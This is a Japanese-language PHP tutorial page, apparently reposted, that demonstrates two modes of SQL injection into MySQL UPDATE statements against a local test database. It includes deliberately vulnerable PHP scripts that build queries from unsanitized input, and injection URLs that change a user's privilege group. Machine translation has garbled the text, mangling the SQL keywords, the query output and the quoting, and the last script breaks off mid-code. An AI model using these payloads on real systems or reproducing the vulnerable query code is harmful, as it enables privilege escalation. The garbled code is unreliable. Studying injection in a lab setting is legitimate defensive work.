ホームページ >バックエンド開発 >PHPチュートリアル >UPDATE インジェクションの 2 つのモード (mysql+php)_PHP チュートリアル

UPDATE インジェクションの 2 つのモード (mysql+php)_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:34:10826ブラウズ

1. テスト環境:

OS: Windowsxp sp2

php: php 4.3.10 (

mysql 4.1.9

アパッチ 1.3.33

2. データベース構造をテストします。

-----開始---

-- データベース: `テスト`

--

-------------------------------------------------- --------

--

-- テーブル構造 `userinfo`

--

テーブル `userinfo` を作成します (

`groudid` varchar(12) NOT NULL デフォルト '1'、

`user` varchar(12) NOT NULL デフォルトの 'heige'、

`pass` varchar(122) NOT NULL デフォルト '123456'

) エンジン=MyISAM デフォルト文字セット=latin1;
--

-- テーブル `userinfo` 内のデータをエクスポートします

--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456');
------終了------

3. テストモード: 1. 変数に '' または "" が含まれていません [MOD1]



リーリー
スクリプトは user='heige' のパスのみを変更します。 grudid がユーザーの権限レベルを表す場合、私たちの目的は $p
を構築することでそれを達成することです。
グループIDを変更する目的:

次に、http://127.0.0.1/test1.php?p=123456,groudid=1 を送信します

mysqlでクエリを実行します。

mysql> ユーザー情報から * を選択します。 +--------+----------+----------+ したがって、'' または "" 更新を使用しない注入は成功することがわかります。これがモード 1 です。

| 不機嫌なユーザー |
+--------+----------+----------+

| 123456 |
+--------+----------+----------+

セット内の 1 行 (0.01 秒)




ユーザーheigeのgroididが2から1に変更されました:)
2. '' または ""[MOD2] を含む変数





//test2.php $サーバー名 = "ローカルホスト";
$dbusername = "ルート"; $dbパスワード = "";
$dbname = "テスト";
mysql_connect($servername,$dbusername,$dbpassword) または die ("データベース接続に失敗しました");
$sql = "update userinfo set pass=’$p’ where user=’heige’";//
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
エコー "
SQLクエリ:$sql

";

?>




「$p は 123456 になるように構築します」を閉じるには、grudid='2 送信します:

http://127.0.0.1/test2.php?p=123456’,groudid=’1 gpc=on の場合、「になります」

送信されたステートメントは次のようになります: SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’

mysqlクエリ:

groidid は変更されていません。では、変数が '' または "" の場合、その変数はまったく注入されないのでしょうか?いいえ。モード 2 を見てみましょう。
mysql> ユーザー情報から * を選択します。
+--------+----------+--------+

| グループパス |
+--------+----------+--------+

| 2 | 123456',グラウディッド='1 |
+--------+----------+--------+

セット内の 1 行 (0.00 秒)




//test3.php Mod2
$サーバー名 = "ローカルホスト";
$dbusername = "ルート";
$dbパスワード = "";




http://www.bkjia.com/PHPjc/508502.html

www.bkjia.com

tru​​e

技術記事 1. テスト環境: OS: Windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 2. テストデータベース構造: -----start--- --Database:`test` -- ------ ----------------------------------...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。